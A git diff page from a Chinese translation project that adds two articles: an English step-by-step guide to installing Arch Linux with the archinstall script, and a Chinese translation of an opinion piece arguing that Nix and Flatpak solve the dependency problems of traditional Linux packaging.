||||
[3]: https://virt-manager.org/
|
@ -0,0 +1,247 @@
|
||||
[#]: subject: "Installing Arch Linux Using archinstall Automated Script [Complete Guide]"
|
||||
[#]: via: "https://www.debugpoint.com/archinstall-guide/"
|
||||
[#]: author: "Arindam https://www.debugpoint.com/author/admin1/"
|
||||
[#]: collector: "lkxed"
|
||||
[#]: translator: " "
|
||||
[#]: reviewer: " "
|
||||
[#]: publisher: " "
|
||||
[#]: url: " "
|
||||
|
||||
Installing Arch Linux Using archinstall Automated Script [Complete Guide]
|
||||
======
|
||||
In this guide, we explain the super easy way of installing Arch Linux using the automated script archinstall. Intended for beginner to advanced users.
|
||||
|
||||
Installing Arch Linux is still troublesome for many new users. It requires a fair amount of knowledge of the commands, and inner workings of a Linux system, including boot process, Kernel and Grub concepts. And these are not known to many. But new users still want to install and experience Arch Linux.
|
||||
|
||||
I personally feel that operating system installation should always be simple in this age of computing. Things should be abstracted to the end user as much as possible. After all, all operating systems exist for one purpose – to help the end user perform certain tasks and help them.
|
||||
|
||||
### What is the archinstall automated script?
|
||||
|
||||
That said, we covered installing Arch Linux as a bare metal system a while back. Since then, the Arch Linux team came up with an automated and interactive script called [archinstall][1]. This script is a far easy way to install Arch Linux today, and can be done by anyone.
|
||||
|
||||
That leads us to the intent of this Arch Linux installation guide, using this automated script called archinstall.
|
||||
|
||||
Let’s dig in.
|
||||
|
||||
### Guide to install Arch Linux using archinstall script
|
||||
|
||||
I would split this guide into three sections. First, download Arch Linux .ISO file, and create a disk to boot. Second is the actual installation, and finally, configuration with an example desktop.
|
||||
|
||||
#### Section 1: Download .ISO file
|
||||
|
||||
Visit the below link. Download the .ISO file of Arch Linux. You can go for a direct HTTP download or use torrent/magnet files.
|
||||
|
||||
[Download Arch Linux][2]
|
||||
|
||||
Once downloaded, create a bootable USB stick using [Etcher][3] or another utility.
|
||||
|
||||
Once done, plug in the USB stick and boot from it.
|
||||
|
||||
Before you begin the next section, ensure you are connected to the internet. In general, if you are in a wired network, you should be good. If you need to configure Wi-Fi via the command line in Arch – follow this guide. Just make sure you are connected to the internet.
|
||||
|
||||
#### Section 2: Install using archinstall
|
||||
|
||||
Once the boot is complete, you should see a prompt like the below. Type `archinstall` and hit enter.
|
||||
|
||||
![First prompt for archinstall][4]
|
||||
|
||||
The command will check for internet connectivity to the Arch Linux mirrors. And once done, a series of prompts (like this) will pop up. All you have to do is read and respond.
|
||||
|
||||
Ideally, you should follow the easy and basic options. Because if you are a new Arch Linux user, then it is recommended to use the basic options outlined below; probably next time, you can be more daring to experiment with other options.
|
||||
|
||||
Fair enough? Okay.
|
||||
|
||||
##### Section 2.1: Set up keyboard, layout and locale
|
||||
|
||||
On this screen, you can see the blue selection. You can navigate it via the keyboard and hit enter to set values. Once set, press escape.
|
||||
|
||||
Based on your download, some of the options would already be set up with defaults e.g. Locale=en_US. You can either keep them as it is or go ahead and change.
|
||||
|
||||
For my test system, here’s what I got as a first screen.
|
||||
|
||||
![First screen of archinstall][5]
|
||||
|
||||
So, the first question is about the **Keyboard Layout** type. It is shown by the two-byte country-specific layout codes. You can either keep the default or press enter to change it. For English-US, the keyboard layout would be “us”.
|
||||
|
||||
Keep the **mirror** region blank.
|
||||
|
||||
**Locale language** to be set as per your language of choice. I am keeping it as default for English US i.e. en_US.
|
||||
|
||||
Select locale **encoding** as UTF-8.
|
||||
|
||||
##### Section 2.2: Create partition, set mount points
|
||||
|
||||
Next up is the hard drive selection. Move the blue selector to Drive and hit enter.
|
||||
|
||||
The script auto-detects the available drives in your target system.
|
||||
|
||||
For example, the below image shows that 20 GB /dev/vda as the primary block device. That is where I am going to install the system. Select it and hit enter.
|
||||
|
||||
![Select target disk][6]
|
||||
|
||||
You should see the drive is selected with number 1. Next, select **Disk Layout** and hit enter.
|
||||
|
||||
The next screen is important. It is where you create the partition table for installation. You should see two options here. Either you manually create a partition (the first option), Or erase everything and install Arch (the second option).
|
||||
|
||||
![Either-you-create-partition-or-wipe-out-everything-from-your-disk][7]
|
||||
|
||||
If you are a beginner and installing a virtual machine, you may choose the **first option** (Wipe out…). Remember it will **delete everything** from your disk.
|
||||
|
||||
If you are not sure, select the second option (select what to do…).
|
||||
|
||||
Here, you have to create a partition, select layout, and then exit. Follow these chronologically.
|
||||
|
||||
![Follow these steps to create a partition][8]
|
||||
|
||||
Here’s a sample set of screens to create a partition.
|
||||
|
||||
![Creating a simple partition][9]
|
||||
|
||||
For this guide, I have created the following two partitions – boot and root for installation.
|
||||
|
||||
**Boot partition**
|
||||
|
||||
* type is fat32
|
||||
* start at 3MB
|
||||
* ends at 203MB
|
||||
* mountpoint = /boot [via menu option: `assign mount point for a partition`]
|
||||
* boot = True [via menu option: `Mark/unmark a partition as bootable`]
|
||||
* Wipe = True [via menu option: `Mark/unmark a partition to be formatted`]
|
||||
|
||||
Repeat the above steps for the root partition.
|
||||
|
||||
**Root partition**
|
||||
|
||||
* type is ext4
|
||||
* start at 206MB
|
||||
* ends: 100%
|
||||
* mountpoint = / [via menu option: `assign mount point for a partition`]
|
||||
* Wipe = True [via menu option: `Mark/unmark a partition to be formatted`]
|
||||
|
||||
Final partition table may look like this:
|
||||
|
||||
![Final partition for this guide][10]
|
||||
|
||||
Select Save and Exit.
|
||||
|
||||
##### Section 2.3: Create an account and other stuff
|
||||
|
||||
Choose the following options for the next set of items.
|
||||
|
||||
| - | - |
|
||||
| :- | :- |
|
||||
| Bootloader | grub-install |
|
||||
| swap | True |
|
||||
| hostname | change it to something you like (I have used debugpoint) |
|
||||
| root password | set a root password |
|
||||
| user account | create an account with id and password to login to arch system |
|
||||
|
||||
In the **profile** option, you will have four options. Select desktop. Then choose your favourite desk environment (e.g. GNOME, KDE, Xfce etc..). Next is to choose the graphics driver. On this screen, if you know about your graphics card, you select NVIDIA or Intel. If you are not sure choose `"All open source (default)"` option.
|
||||
|
||||
![Select desktop environment while installing archlinux][11]
|
||||
|
||||
Select audio to **pipewire** (default) or pulseaudio.
|
||||
|
||||
Then select Kernel = `linux`. There are options such as linux-hardened, linux-zen and linux-lts. If you know what those means, then choose accordingly. If you are not sure choose the default kernel: `linux`.
|
||||
|
||||
You can also specify the **additional packages** to install if you know the package names. For this guide I have selected the below as additional packages.
|
||||
|
||||
```
|
||||
firefox dhcpcd vlc net-tools xorg lightdm lightdm-gtk-greeter nano network-manager-applet
|
||||
```
|
||||
|
||||
Choose Network configuration to **Network Manager**. Keep the rest of the items as default and finally hit **save configuration** **> Save all > save to /home**.
|
||||
|
||||
##### Section 2.4: Final installation
|
||||
|
||||
Hit **install** to start the installation process.
|
||||
|
||||
![archinstall started][12]
|
||||
|
||||
At this step, archinstall program will start downloading the packages for installation. After installation is complete, it would prompt you whether you want to log in to the chroot and do some maintenance before the final reboot.
|
||||
|
||||
![final maintenance using chroot][13]
|
||||
|
||||
You should say yes and log in to the chroot. And then make sure you enabled the display manager to get a login screen using the following set of commands:
|
||||
|
||||
```
|
||||
systemctl enable lightdm
|
||||
```
|
||||
|
||||
```
|
||||
systemctl enable NetworkManager
|
||||
```
|
||||
|
||||
Finally, reboot the system.
|
||||
|
||||
```
|
||||
reboot
|
||||
```
|
||||
|
||||
If you have followed the steps, then you should see a GRUB with an Arch Linux menu and a login screen to login.
|
||||
|
||||
#### Section 3 – Install additional desktop environments
|
||||
|
||||
After you install the base system/desktop using the above method, you can install any additional desktop environment such as GNOME, KDE Plasma, MATE – so on. We have several guides for each of them on the below pages. You can visit your choice of desktop installation page and jump straight to the bottom of these pages for exact command to install a desktop.
|
||||
|
||||
* [Xfce][14]
|
||||
* [GNOME][15]
|
||||
* [KDE Plasma][16]
|
||||
* [Cinnamon][17]
|
||||
* [LXQt][18]
|
||||
|
||||
For example, if you want to install GNOME Desktop with basic components, you can simply run the below command to install.
|
||||
|
||||
```
|
||||
sudo pacman -S --needed gnome gnome-tweaks nautilus-sendto gnome-nettool gnome-usage gnome multi-writer adwaita-icon-theme chrome-gnome-shell xdg-user-dirs-gtk fwupd arc-gtk-theme seahosrse gdm firefox gedit
|
||||
```
|
||||
|
||||
```
|
||||
systemctl enable gdm
|
||||
```
|
||||
|
||||
```
|
||||
systemctl enable NetworkManager
|
||||
```
|
||||
|
||||
Once you are done, type reboot.
|
||||
|
||||
And congratulations. You have finally installed Arch Linux using the awesome archinstall script using this guide.
|
||||
|
||||
### Closing Notes
|
||||
|
||||
I believe, this is one of the impressive scripts that have been developed by the team. And it is definitely going to increase the coverage of Arch Linux with a growing user base.
|
||||
|
||||
Having trouble using this archinstall guide? Let me know in the comment section below.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: https://www.debugpoint.com/archinstall-guide/
|
||||
|
||||
作者:[Arindam][a]
|
||||
选题:[lkxed][b]
|
||||
译者:[译者ID](https://github.com/译者ID)
|
||||
校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
|
||||
|
||||
[a]: https://www.debugpoint.com/author/admin1/
|
||||
[b]: https://github.com/lkxed
|
||||
[1]: https://github.com/archlinux/archinstall
|
||||
[2]: https://archlinux.org/download/
|
||||
[3]: https://www.debugpoint.com/2021/01/etcher-bootable-usb-linux/
|
||||
[4]: https://www.debugpoint.com/wp-content/uploads/2022/01/image.png
|
||||
[5]: https://www.debugpoint.com/wp-content/uploads/2022/01/First-screen-of-archinstall.jpg
|
||||
[6]: https://www.debugpoint.com/wp-content/uploads/2022/01/Select-target-disk.jpg
|
||||
[7]: https://www.debugpoint.com/wp-content/uploads/2022/09/Either-you-create-partition-or-wipe-out-everything-from-your-disk.jpg
|
||||
[8]: https://www.debugpoint.com/wp-content/uploads/2022/01/Follow-these-steps-to-create-a-partition.jpg
|
||||
[9]: https://www.debugpoint.com/wp-content/uploads/2022/01/Creating-a-simple-partition.jpg
|
||||
[10]: https://www.debugpoint.com/wp-content/uploads/2022/01/Final-partition-for-this-guide.jpg
|
||||
[11]: https://www.debugpoint.com/wp-content/uploads/2022/01/Select-desktop-environment-while-installing-archlinux.jpg
|
||||
[12]: https://www.debugpoint.com/wp-content/uploads/2022/01/archinstall-started.jpg
|
||||
[13]: https://www.debugpoint.com/wp-content/uploads/2022/01/final-maintenance-using-chroot.jpg
|
||||
[14]: https://www.debugpoint.com/2020/12/xfce-arch-linux-install-4-16/
|
||||
[15]: https://www.debugpoint.com/2020/12/gnome-arch-linux-install/
|
||||
[16]: https://www.debugpoint.com/2021/01/kde-plasma-arch-linux-install/
|
||||
[17]: https://www.debugpoint.com/2021/02/cinnamon-arch-linux-install/
|
||||
[18]: https://www.debugpoint.com/2020/12/lxqt-arch-linux-install/
|
@ -0,0 +1,215 @@
|
||||
[#]: subject: "Traditional Linux Packaging is not Suitable for Modern Applications [Opinion]"
|
||||
[#]: via: "https://news.itsfoss.com/traditional-packaging-modern-applications/"
|
||||
[#]: author: "Community https://news.itsfoss.com/author/team/"
|
||||
[#]: collector: "lkxed"
|
||||
[#]: translator: "99541536"
|
||||
[#]: reviewer: " "
|
||||
[#]: publisher: " "
|
||||
[#]: url: " "
|
||||
|
||||
传统的Linux安装包格式不适合现代应用 [观点]
|
||||
======
|
||||
开源贡献者 Hari Rana 表达了他对传统 Linux 安装包格式不再适合现代应用的看法。
|
||||
|
||||
![传统的Linux安装包格式不适合现代应用 [观点]][1]
|
||||
|
||||
图片来源:来自 [Unsplash][2] 的 [Kelli McClintock][3]
|
||||
|
||||
我多次遇到用户抱怨LTS和稳定版的应用安装包有问题,但又声称开发版从来没有发生过这种事情。然而,以我在安装包技术方面的经验和知识,我不能不强调,这是不对的。
|
||||
|
||||
发行模式不是问题的根源所在,根本的问题是传统的安装包格式不适合现代的图形应用,不管是什么发行版。那么像 Nix 和 Flatpak 这样的格式是如何解决这些基本问题的?有趣的是,大多数服务器确实利用了容器化(即 Docker),因为它提高了可重复性并增强了可维护性。我们可以从中得到启发,采用一个适用于 Linux 桌面的类似标准。
|
||||
|
||||
### 免责声明
|
||||
|
||||
1. “传统打包”是指使用包管理器发布的图形应用程序,而不使用容器,如 apt、dnf、pacman 等。
|
||||
2. “发行模式”是指发行过程,如长期支持版(LTS)、稳定版和开发版等。
|
||||
3. “类似的应用程序”是指两个在技术上真正相似的应用程序,如 [Visual Studio Code][4] 和 [Code - OSS][5]。
|
||||
4. 在这些例子中,我将使用 Arch Linux 作为参考。然而,这些行为与那些大量采用传统安装包格式的发行版是一致的。
|
||||
5. Nix不使用容器,它也不是一种容器格式。但为了简单起见,我暂时把它称为一种容器格式。
|
||||
|
||||
### 根本问题
|
||||
|
||||
![][6]
|
||||
|
||||
图片来源:来自 [Unsplash][7] 的 [Jackson Simmer][8]
|
||||
|
||||
大多数(或许不是全部)大量采用传统安装包格式的发行版都有这个共同的问题:它们都没有利用容器或其他方便的方法来区分依赖关系。用通俗的话说,容器是一个盒子,我们可以把东西放在里面,在不影响主系统(主机)的情况下单独使用它们。
|
||||
|
||||
容器通常不会影响“盒子”外的任何东西。并且它们是可移植的,因为它们可以安装在其他发行版上,同时提供一致的体验。利用容器的包管理器会将每个软件包安装在不同的容器中,这提供了一个额外的安全层。这给了开发者更多的控制权和灵活性,他们可以决定在软件包内捆绑什么。
|
||||
|
||||
传统的打包方式产生了一些问题,比如依赖性和包的冲突,这些问题通常需要解决,而不同的发行版有不同的解决办法。
|
||||
|
||||
#### 依赖性和软件包的冲突
|
||||
|
||||
如果我们试图安装 [Visual Studio Code][9]([visual-studio-code-bin][10]),而 [Code - OSS][11]([code][12]) 已经安装在 Arch Linux 上,我们会遇到这个问题:
|
||||
|
||||
```
|
||||
$ paru -S visual-studio-code-bin
|
||||
[...]
|
||||
:: Conflicts found:
|
||||
visual-studio-code-bin: code
|
||||
:: Conflicting packages will have to be confirmed manually
|
||||
Aur (1) Old Version New Version Make Only
|
||||
aur/visual-studio-code-bin 1.70.1-1 No
|
||||
```
|
||||
|
||||
这就是所谓的软件包冲突,即两个或多个软件包不能共存。在这种情况下,我们不能同时安装 Visual Studio Code 和 Code - OSS。
|
||||
|
||||
当两个应用程序或软件包提供相同的文件,具有相同的名称,并被放置在同一目录下,那么它们实际上是不能共存的,因为这些文件会发生冲突。在这个例子中,Visual Studio Code 和 Code - OSS 都提供了一个`code'文件,它们都被放在`/usr/bin`中。Visual Studio Code 提供的`code`文件用于启动 Visual Studio Code,而 Code - OSS 的`code`文件则用于启动 Code - OSS。
|
||||
虽然这个例子只展示了 Visual Studio Code 和 Code - OSS,但这种情况经常发生在不同的应用程序、库和其他软件中。
|
||||
|
||||
#### 无法选择依赖项
|
||||
|
||||
![][13]
|
||||
|
||||
图片来源:来自 [Unsplash][14] 的 [Priscilla Du Preez][15]
|
||||
|
||||
传统安装包格式的最大问题之一是,打包者不能选择依赖项。
|
||||
|
||||
例如,如果一个应用程序最近更新,需要依赖版本1的程序A,但该格式安装包的打包程序只提供版本0.9的程序A,那么对于升级该应用程序来说就不太理想,因为打包程序无法满足要求。这意味着打包者将不得不暂缓打包,直到打包程序发布新的依赖项,或者采用变通的方法。
|
||||
|
||||
同样,如果一个应用程序需要依赖0.8.1版本的程序A,但该格式安装包的打包程序却只提供了0.9版本的程序A,那么这个应用程序就会表现失常,甚至完全不能运行。
|
||||
|
||||
##### 带补丁的库和编译配置
|
||||
|
||||
为了扩展,一些应用程序需要带补丁的库或额外的编译配置才能正常运行。例如,OBS Studio 需要一个[打了补丁的 FFmpeg][16] 来与 OBS Studio 更好地整合。
|
||||
|
||||
在传统的打包方式下,一次只能安装一个依赖项的变体。如果发行版提供的是未打过补丁的 FFmpeg,那么就没有办法安装打过补丁的 FFmpeg,除非打包者能解决这个问题。如果安装了打过补丁的 FFmpeg,但另一个程序高度依赖未打过补丁的 FFmpeg、打过其他补丁的 FFmpeg、内置或删除了其他功能的 FFmpeg,那么其他程序就会出现bug。
|
||||
|
||||
现代应用程序本质上是脆弱的。依赖关系树中的一个小错误或不一致,就会导致应用程序的bug,使用户体验恶化,甚至会让人觉得是应用程序的问题,而不是软件包本身的问题,这就会妨碍应用程序的声誉。
|
||||
|
||||
#### 变通方法
|
||||
|
||||
让我们看看目前开发者用来打包应用程序的变通方法。
|
||||
|
||||
1. 第一种解决方法是在不同的目录中安装依赖库。例如,Electron 是一个巨大的框架,开发者用它来构建应用程序,然后将它们捆绑起来。然而,基于 Electron 的应用程序是不同的,因为它们是建立在不同版本的 Electron 之上的。Discord 捆绑了 Electron 13,而 Element 捆绑了 Electron 19。对于 Arch Linux 上的 Electron 打包,某些目录需要安装在`/opt/APPLICATION_NAME`中,所以这些 Electron 版本[不会相互冲突][17]。
|
||||
2. 第二种解决方法是篡改应用程序。例如,给应用程序打上补丁,使其在没有某些依赖库或功能的情况下编译,这可以使应用程序成功编译,但不能保证该应用程序能够启动或按预期工作。
|
||||
4. 第三种解决方法是在编译应用程序时禁用许多编译选项,这也可能禁用一些功能。例如,在 Arch Linux 上,OBS Studio 在编译时禁用了许多基本功能,这[导致了不合格的体验][18]。
|
||||
|
||||
这些解决方法因人而异,有些会限制应用程序的功能,有些会引入稳定性问题等等。
|
||||
|
||||
#### 不一致的体验
|
||||
|
||||
![西班牙兰萨罗特岛(加那利群岛)的蒂曼法亚火山国家公园的火山口景观][19]
|
||||
|
||||
图片来源:来自 [Unsplash][20] 的 [alevision.co][21]
|
||||
|
||||
虽然这些技术限制在整个传统安装包格式中是一致的,但用户体验往往不是这样。由于安装包的发布方式,发行模式与传统安装包格式相结合会影响用户体验。
|
||||
一些发行版,如 Arch Linux,接近于开发版,因此有最新版本的软件包。然而 Debian 和 Ubuntu LTS 是 LTS 长期支持版,所以它们的很多软件包都落后几个版本。同时,Fedora Linux 和 Ubuntu 稳定版处于 Debian / Ubuntu LTS 和 Arch Linux 之间。
|
||||
|
||||
一些安装包格式喜欢尽可能少地给软件包打补丁,以保持它们最接近原版;而另一些格式打补丁是为了增加更多的功能,使用旧库或进行其他类型的更改,以改善用户体验。一些格式喜欢使软件更加轻量化;而另一些格式更喜欢尽可能地添加更多内置功能。这个名单还在继续。
|
||||
|
||||
正如我们所看到的,一个应用程序在不同的发行版中的构建方式非常不同。此外,不同的发行版的依赖关系也是不同的。传统包装的许多技术限制需要根据发行模式和包装政策采取不同的解决方法。这些微小的变化往往给用户带来不完整的、不合格的体验和错误的印象。一些应用程序可能在某些发行版上运行得更好,但在其他发行版上运行得很差,而其他一些应用程序在其他发行版上运行得更好。即使一个应用程序在每个发行版上的构建方式不同,但其名称和品牌却保持原样,给用户留下错误的印象。
|
||||
|
||||
### 解决方案
|
||||
|
||||
![][22]
|
||||
|
||||
图片来源:来自 [Unsplash][23] 的 [Riccardo Annandale][24]
|
||||
|
||||
如上所述,解决这些问题的方法是使用容器。
|
||||
|
||||
容器被设计用来分离系统的几个方面。通过使用容器,打包者可以挑选依赖项而不受主机库的限制。因此,打包者可以发布最新的、功能完整的软件包,同时保持发行的稳定性。
|
||||
|
||||
这一点非常重要,因为这些容器格式可以将应用程序和发行版发挥出最大的作用,而不会对系统造成破坏性的影响。
|
||||
|
||||
#### Nix和Flatpak
|
||||
|
||||
[Nix][25] 是一个跨平台的包管理器,可以在类Unix操作系统中运行,如Linux发行版、BSD和macOS。Nix有几个[途径][26](分支)供用户使用。
|
||||
|
||||
另一方面,[Flatpak][27] 是一个用于Linux桌面的通用软件包格式,它也利用容器,但另外还有沙盒来隔离它们。它旨在共未来的普通人使用,并被设计为与软件商店(如GNOME Software 和 KDE Discover)集成。换句话说,Flatpak 更像是安装包格式的一个扩展,而不是一个替代品,因为它的设计初衷不是为了取代系统包管理器。
|
||||
|
||||
如果使用 NixOS 等发行版,Nix 也可以作为一种扩展或单独使用。
|
||||
|
||||
#### 类似的应用
|
||||
|
||||
Nix和Flatpak解决了传统安装包格式的许多基本问题。由于应用程序的分离,这些格式可以安装类似的应用程序,如 Visual Studio Code 和 Code - OSS,而不会冲突。
|
||||
|
||||
#### 多个版本
|
||||
|
||||
Nix 和 Flatpak 可以安装同一个应用程序的多个版本。使用 Nix,我可以从`nixpkgs-stable`(LTS)安装应用程序,同时也可以从`nixpkgs-unstable`(开发版)安装同一个应用程序。
|
||||
|
||||
同样地,使用 Flatpak,我可以同时从`stable`和`beta`分支安装应用程序。我可以从更多的途径和分支继续安装同一个应用程序,而不会遇到冲突。
|
||||
|
||||
#### 挑剔的依赖项
|
||||
|
||||
![采摘樱桃][28]
|
||||
|
||||
图片来源:来自 [Unsplash][29] 的 [Ish de loyola][30]
|
||||
|
||||
此外,打包者可以将应用程序与不同变体的库捆绑在一起,从而有机会启用更多的构建选项,并使用打过补丁或特定版本的库,从而为用户提供完整的体验。
|
||||
|
||||
这意味着打包者可以将打了补丁的 FFmpeg 与 OBS Studio 捆绑在一起,只为使用 OBS Studio。如果我在主机上安装了 vanilla FFmpeg,那么 OBS Studio 的补丁 FFmpeg 就不会与主机的 FFmpeg 发生干扰或冲突。
|
||||
|
||||
#### 各个发行版的环境都是一致的
|
||||
|
||||
如上所述,各发行版使用不同的补丁、构建选项和环境构建应用程序。这导致了应用程序的碎片化,每个应用程序的构建方式和工作方式往往不尽相同。由于 Nix 和 Flatpak 是为跨发行版运行而设计的,它们在每个发行版中为应用程序提供一致的环境,前提是发行版提供了 Nix 或 Flatpak 的支持版本。
|
||||
|
||||
#### 缺点
|
||||
|
||||
就像所有事物一样,Nix 和 Flatpak 不是完美的。由于容器最近被推送到了 Linux 桌面上,它们可能为许多应用程序提供不寻常的环境。
|
||||
|
||||
Flatpak 不仅包含了应用程序,还对它们进行沙盒处理。Flatpak 的开发者已经实施了一个短期的变通方案,“在沙盒上打洞”,即所谓的静态权限。他们正在开发适当的长期解决方案,称为[XDG 门户][31],以解决有关沙盒的许多问题,并使其像 Android 的安全模型一样。
|
||||
|
||||
唯一的短期问题是,工具包、框架和应用程序必须采用这些标准。GTK 和 Qt 是一些集成了其中一些门户的工具包,但它们也需要时间来集成其他的门户。同时,许多其他的工具箱还没有真正集成任何门户。
|
||||
工具包、框架和应用程序采用这些新标准是一个时间问题,因为在 XDG 门户之前没有任何适当的标准。应用程序可以直接访问文件系统和 API,所以静态权限保持这种 "标准"。
|
||||
|
||||
### 结论
|
||||
|
||||
传统包装的根本问题是它没有利用容器。许多图形化的应用程序本质上是复杂的,需要非常具体的依赖关系才能按预期运行。许多发行版通过使用变通的方法在不同的环境中构建同一个应用程序,例如给应用程序打补丁或禁用构建选项。这导致了一个应用程序的不同变体、不一致的行为和不合格的用户体验。
|
||||
|
||||
当然,发行版的维护者不可能在10天内现实地重写他们的包管理器并使用容器。这些重写会破坏许多脚本、功能等,而且还需要很长时间才能投入生产。
|
||||
|
||||
我个人的建议是使用和推广 Flatpak,因为它只是为了扩展现有的发行版,而不是取代它。包装商将不必担心包装应用程序和诉诸变通的问题,因为 Flatpak 已经在处理这些问题了。
|
||||
|
||||
作者:Hari Rana 并[最初发表于本博客][32]。
|
||||
|
||||
Hari 是 Fedora 杂志的 Fedora 编辑委员会的成员。他也是 Fedoea 质量保证(QA)的一员。Hari 希望通过推广各种技术和帮助需要帮助的人,为 Linux 桌面的采用作出贡献。
|
||||
|
||||
**本文所表达的观点和意见是作者本人的,不一定代表 It's FOSS。**
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: https://news.itsfoss.com/traditional-packaging-modern-applications/
|
||||
|
||||
作者:[Community][a]
|
||||
选题:[lkxed][b]
|
||||
译者:[gpchn](https://github.com/gpchn)
|
||||
校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
|
||||
|
||||
[a]: https://news.itsfoss.com/author/team/
|
||||
[b]: https://github.com/lkxed
|
||||
[1]: https://images.unsplash.com/photo-1573376670774-4427757f7963?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDY2fHxwYWNrYWdpbmd8ZW58MHx8fHwxNjYyNzgzMzY1&ixlib=rb-1.2.1&q=80&w=1200
|
||||
[2]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit
|
||||
[3]: https://unsplash.com/es/@kelli_mcclintock?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit
|
||||
[4]: https://code.visualstudio.com/
|
||||
[5]: https://github.com/microsoft/vscode
|
||||
[6]: https://images.unsplash.com/photo-1612933510543-5b442296703b?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDEwfHxwcm9ibGVtfGVufDB8fHx8MTY2Mjc4MzEwNg&ixlib=rb-1.2.1&q=80&w=2000
|
||||
[7]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit
|
||||
[8]: https://unsplash.com/@simmerdownjpg?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit
|
||||
[9]: https://code.visualstudio.com/
|
||||
[10]: https://aur.archlinux.org/packages/visual-studio-code-bin
|
||||
[11]: https://github.com/microsoft/vscode
|
||||
[12]: https://archlinux.org/packages/community/x86_64/code/
|
||||
[13]: https://images.unsplash.com/photo-1601001816339-74036796370c?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDl8fGNoZXJyeSUyMHBpY2t8ZW58MHx8fHwxNjYyNzgzNDA4&ixlib=rb-1.2.1&q=80&w=2000
|
||||
[15]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit
|
||||
[14]: https://unsplash.com/@priscilladupreez?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit
|
||||
[16]: https://github.com/obsproject/obs-studio/blob/fe889ec28ebd2f323b5933b7b11c5a9207539c59/CI/flatpak/com.obsproject.Studio.json#L259-L261
|
||||
[17]: https://wiki.archlinux.org/index.php?title=Electron_package_guidelines&oldid=661963#Directory_structure
|
||||
[18]: https://www.youtube.com/watch?v=FPjEdrik-eQ
|
||||
[19]: https://images.unsplash.com/photo-1595399822864-94ec54889cc7?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDl8fGJ1bXB5JTIwcm9hZHxlbnwwfHx8fDE2NjI3ODQ3MTI&ixlib=rb-1.2.1&q=80&w=2000
|
||||
[20]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit
|
||||
[21]: https://unsplash.com/@alevisionco?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit
|
||||
[22]: https://images.unsplash.com/photo-1474631245212-32dc3c8310c6?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDR8fHNvbHV0aW9ufGVufDB8fHx8MTY2Mjc4MzI5NA&ixlib=rb-1.2.1&q=80&w=2000
|
||||
[23]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit
|
||||
[24]: https://unsplash.com/@pavement_special?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit
|
||||
[25]: https://github.com/NixOS/Nix
|
||||
[26]: https://nixos.wiki/wiki/Nix_channels
|
||||
[27]: https://flatpak.org/
|
||||
[28]: https://images.unsplash.com/photo-1626829622490-43c7d7c80ac8?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDF8fGNoZXJyeSUyMHBpY2t8ZW58MHx8fHwxNjYyNzgzNDA4&ixlib=rb-1.2.1&q=80&w=2000
|
||||
[29]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit
|
||||
[30]: https://unsplash.com/@ishphotos_?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit
|
||||
[31]: https://github.com/flatpak/xdg-desktop-portal
|
||||
[32]: https://theevilskeleton.gitlab.io/2022/08/29/traditional-packaging-is-not-suitable-for-modern-applications.html
|
Loading…
Reference in New Issue
Block a user